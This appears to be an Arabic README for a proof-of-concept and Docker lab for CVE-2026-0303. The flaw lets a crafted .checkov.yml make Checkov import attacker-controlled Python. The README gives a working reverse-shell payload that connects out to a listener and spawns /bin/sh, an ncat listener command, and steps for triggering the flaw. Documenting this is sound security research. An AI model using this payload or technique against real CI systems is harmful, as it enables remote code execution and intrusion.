
إثبات مفهوم ومختبر Docker للثغرة CVE-2026-0303، يوضّح تنفيذ تعليمات برمجية عشوائية في Checkov عبر ملف .checkov.yml يُحمَّل تلقائيًا ويشير إلى فحص خارجي يتحكم به المهاجم.
CVE: CVE-2026-0303 | درجة CVSS الأساسية: 6.3 | الخطورة: منخفضة
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H
CVE-2026-0303 - ثغرة تنفيذ تعليمات برمجية عشوائية في Checkov.
نُشرت بواسطة Palo Alto Networks في 9 سبتمبر 2026.
الإصدارات المتأثرة: Checkov 3.2.0 حتى 3.2.531
الإصدار المُصلَّح: Checkov 3.2.532
تنفيذ تعليمات برمجية عشوائية في Checkov عبر ملف .checkov.yml يُحمَّل تلقائيًا
-> تنفيذ تعليمات Python البرمجية التي يتحكم بها المهاجم عبر فحص خارجي مخصص غير موقَّع.
https://github.com/user-attachments/assets/62af16bb-5b7f-4465-98b9-2d1836f5ee4f
يدعم Checkov الفحوصات الخارجية المكتوبة بلغة Python. تُحمَّل هذه الفحوصات عمدًا كوحدات Python، مما يعني أن عبارات Python على المستوى الأعلى تُنفَّذ أثناء استيراد الوحدة.
عندما يفحص Checkov مجلدًا، فإنه يبحث تلقائيًا في ذلك المجلد عن ملف تهيئة
.checkov.yml أو .checkov.yaml، ويمكن لملف تهيئة يتحكم به المهاجم أن يضبط
external-checks-dir على مجلد داخل المستودع الذي تتم فحصه.
ينشئ هذا سلسلة التنفيذ التالية:
Victim scans an untrusted repository
->
Checkov automatically loads .checkov.yml
->
The configuration sets external-checks-dir
->
Checkov imports an attacker-controlled Python module
->
Top-level Python code executes with Checkov's privileges
لا يحتاج المهاجم إلى استغلال محلل Terraform أو تقديم سياسة Checkov صالحة. يحدث تنفيذ التعليمات البرمجية عند استيراد Checkov لملف Python.
وهذا ذو أهمية خاصة لخطوط أنابيب CI التي تشغّل Checkov تلقائيًا على طلبات السحب أو غيرها من محتويات المستودعات غير الموثوقة.
تتصل حمولة المختبر من حاوية Checkov بمستمع على المضيف:
def exploit():
lhost = "host.docker.internal"
lport = 4545
sock = socket.create_connection((lhost, lport))
for file_descriptor in (0, 1, 2):
os.dup2(sock.fileno(), file_descriptor)
subprocess.call(["/bin/sh", "-i"])
exploit()
عدّل الحمولة في exploit\external-checks\poc_check.py:
lhost = "127.0.0.1"
lport = 4444
ابدأ مستمعًا على المضيف:
ncat -lvkp 4444
أطلق السلوك المصاب بفحص المجلد الذي يتحكم به المهاجم:
checkov -d /workspace --framework terraform --skip-download
يقرأ Checkov تلقائيًا /workspace/.checkov.yml، ويكتشف مجلد الفحص الخارجي،
ويستورد poc_check.py. يجب أن يتلقى المستمع صدفة الأوامر عند تنفيذ استدعاء
exploit() على مستوى الوحدة.
لقد وفّرت مختبر Docker بسيطًا يمكنك إعداده عبر
docker compose up -d
والاتصال بصدفة الأوامر الخاصة به عبر
docker exec -it scan-server /bin/sh
يحتوي هذا المستودع على إثبات مفهوم مستقل لـ CVE-2026-0303. أُعيد إنشاء الثغرة واختبارها في بيئة مختبر معزولة.
هذا المشروع مخصص فقط لأبحاث الأمن المصرَّح بها، والتعليم، والاختبار في بيئات معزولة. لا تستخدمه ضد أنظمة أو شبكات أو مستودعات أو بيانات دون تصريح صريح من المالك.
يقدّم المؤلف هذا المشروع كما هو، دون ضمانات من أي نوع، ولا يتحمل أي مسؤولية عن الأضرار أو فقدان البيانات أو تعطّل الخدمة أو الوصول غير المصرَّح به أو إساءة استخدام هذا البرنامج أو مشتقاته.